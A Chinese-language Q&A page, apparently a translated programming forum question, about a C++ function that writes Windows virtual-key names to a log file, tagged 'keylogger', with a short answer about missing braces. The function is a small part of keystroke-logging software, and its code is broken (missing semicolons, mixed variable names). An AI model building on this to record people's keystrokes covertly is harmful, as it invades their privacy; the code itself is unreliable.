首页 > 解决方案 > c++ 中返回指示符的函数,该指示符让我知道给定的 char 是正确的不是根据函数

问题描述

这是代码:

char specialKeys(char key, char *File)
{

    cout << _key << endl;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");




    if (key == VK_ABNT_C1)
        fprintf(OUTPUT_FILE, "%s", "Abnt C1")
        fclose(OUTPUT_FILE);
        return -2;

    else if (key == VK_ABNT_C2)
        fprintf(OUTPUT_FILE, "%s", "Abnt C2")
        fclose(OUTPUT_FILE);
        return -2;

    else if (key == VK_ADD)
        fprintf(OUTPUT_FILE, "%s", "Numpad +")
        fclose(OUTPUT_FILE);
        return -2;

    else if (key == VK_ATTN)
        fprintf(OUTPUT_FILE, "%s", "Attn")
        fclose(OUTPUT_FILE);
        return -2;

    else if (key == VK_BACK)
        fprintf(OUTPUT_FILE, "%s", "[Backspace]")
        fclose(OUTPUT_FILE);
        return -2;

    else if (key == VK_CANCEL)
        fprintf(OUTPUT_FILE, "%s", "[Break]")
        fclose(OUTPUT_FILE);
        return -2;

    else if (key == VK_CLEAR)
        fprintf(OUTPUT_FILE, "%s", "[Clear]")
        fclose(OUTPUT_FILE);
        return -2;

    else if (_key == VK_TAB)
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
        fclose(OUTPUT_FILE);
        return -2;

    else if (_key == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
        fclose(OUTPUT_FILE);
        return -2;

    else if (_key == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
        fclose(OUTPUT_FILE);
        return -2;

    else if (_key == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
        fclose(OUTPUT_FILE);
        return -2;

    else if (_key == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]");
        fclose(OUTPUT_FILE);
        return -2;

    else if (_key == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "[HOME]");
        fclose(OUTPUT_FILE);
        return -2;

    else if (_key == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[LEFT]");
        fclose(OUTPUT_FILE);
        return -2;

    else if (_key == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]");
        fclose(OUTPUT_FILE);
        return -2;

    else if (_key == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
        fclose(OUTPUT_FILE);
        return -2;

    else if (_key == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN]");
        fclose(OUTPUT_FILE);
        return -2;

    else if (_key == 46)
        fprintf(OUTPUT_FILE, "%s", ".");
        fclose(OUTPUT_FILE);
        return -2;

    else if (_key == 1)
        fprintf(OUTPUT_FILE, "%s", "");
        fclose(OUTPUT_FILE);
        return -2;

    else
        fclose(OUTPUT_FILE);
        return -1;



    return 0;

}

我希望当我传递文件指针和 char 时,它会从上述情况检查它是否为真并给出一个指示符,或者如果它不是,那么也给出一个指示符,例如 if char not match any if else case 然后它返回 -1 和如果在 if else 情况下匹配,那么它将在文件中写入相同的内容并关闭文件并返回 1,感谢 Advance Guys。

标签: c++functionkeystrokekeylogger

解决方案


您需要括号来正确确定 if/else 语句的范围

    if (key == VK_ABNT_C1) {
        fprintf(OUTPUT_FILE, "%s", "Abnt C1")
        fclose(OUTPUT_FILE);
        return -2;
    }

推荐阅读